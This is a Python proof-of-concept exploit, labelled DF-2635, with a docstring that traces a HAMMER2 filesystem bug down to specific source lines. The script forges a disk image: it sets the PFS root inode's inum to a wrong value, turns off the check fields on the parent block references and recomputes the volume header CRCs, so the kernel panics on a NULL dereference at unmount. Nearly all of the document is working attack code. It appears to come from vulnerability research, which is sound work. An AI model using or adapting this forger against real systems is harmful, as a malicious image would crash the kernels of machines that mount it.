#!/usr/bin/env python3
"""
DF-2635 PoC image forger.

Root cause chain (verified in sys/):
  hammer2_inode_get(pmp, NULL, 1, -1)      (hammer2_inode.c:933,954-977)
      -> hashes the fresh iroot under bucket inumhash(pmp, 1)
  hammer2_pfsalloc():  iroot->meta = ripdata->meta   (hammer2_vfsops.c:456)
  hammer2_vfs_root():  pmp->iroot->meta = *meta      (hammer2_vfsops.c:1975)
      -> wholesale meta copy from the ON-MEDIA PFS root inode, AFTER the
         inode is already indexed on the inum hash under inum=1.
  If the on-media meta.inum != 1, the in-memory inode now sits on the WRONG
  hash bucket.  At unmount:
  hammer2_vfs_unmount -> hammer2_pfsfree                  (vfsops.c:707-711)
      -> hammer2_inode_drop(iroot)                        (inode.c:592)
          hash = inumhash(pmp, ip->meta.inum)  /* WRONG bucket */  (:617)
          while (*xipp != ip) xipp = &(*xipp)->next;      (:624-625)
  walks off the end of the wrong bucket's list and dereferences NULL
  (next is the first field of hammer2_inode, so xipp degenerates to NULL).

This forger flips meta.inum (inode block +0x58) of the mounted PFS root
inode ('testvol') to 0x42 (different hash bucket than 1), sets CHECK_NONE
on the ancestor brefs, and recomputes the volume header CRCs -- the same
technique proven in DF-2616/DF-2624.

Expected: mount succeeds, ls works, umount panics with a NULL deref in
hammer2_inode_drop.
"""
import struct, sys
sys.path.insert(0, '/root/poc/df2635')
from h2common import *

BAD_INUM = 0x42

def main():
    base, out = sys.argv[1:3]
    img = bytearray(open(base, 'rb').read())
    vols, sbr = find_sroot(img)
    sblk, kids = sroot_children(img, sbr)
    for br in kids:
        tag = ""
        if br['type'] == T_INODE and (br['data_off'] & RADIX_MASK):
            tag = " name=%r" % inode_name(img, br['data_off'] & ~RADIX_MASK)
        print("[walk] sroot slot @ %#x: type=%d key=%#x data_off=%#x%s"
              % (br['off'], br['type'], br['key'], br['data_off'], tag))

    target = None
    for br in kids:
        if br['type'] == T_INODE and (br['data_off'] & RADIX_MASK):
            if inode_name(img, br['data_off'] & ~RADIX_MASK) == b'testvol':
                target = br
    assert target, "testvol PFS inode not found under sroot"
    tblk = target['data_off'] & ~RADIX_MASK
    old_inum = struct.unpack_from('<Q', img, tblk + 0x58)[0]
    old_type = img[tblk + 0x50]
    print("[walk] testvol inode @ %#x inum=%#x type=%d"
          % (tblk, old_inum, old_type))
    assert old_type == 1, "expected DIRECTORY"

    # flip meta.inum -> 0x42 (bucket 0x42 != bucket 1)
    struct.pack_into('<Q', img, tblk + 0x58, BAD_INUM)
    print("[+] meta.inum %#x -> %#x" % (old_inum, BAD_INUM))

    # ancestors: CHECK_NONE so the modified inode block passes chain check
    struct.pack_into('<B', img, target['off'] + 0x01, 0x00)
    struct.pack_into('<Q', img, target['off'] + 0x10, 0)   # mirror_tid=0
    for v in vols:
        struct.pack_into('<B', img, v + 0x201, 0x00)       # sroot CHECK_NONE
    recompute_volhdr_crcs(img)
    open(out, 'wb').write(img)
    print("[+] wrote %s" % out)

if __name__ == '__main__':
    main()
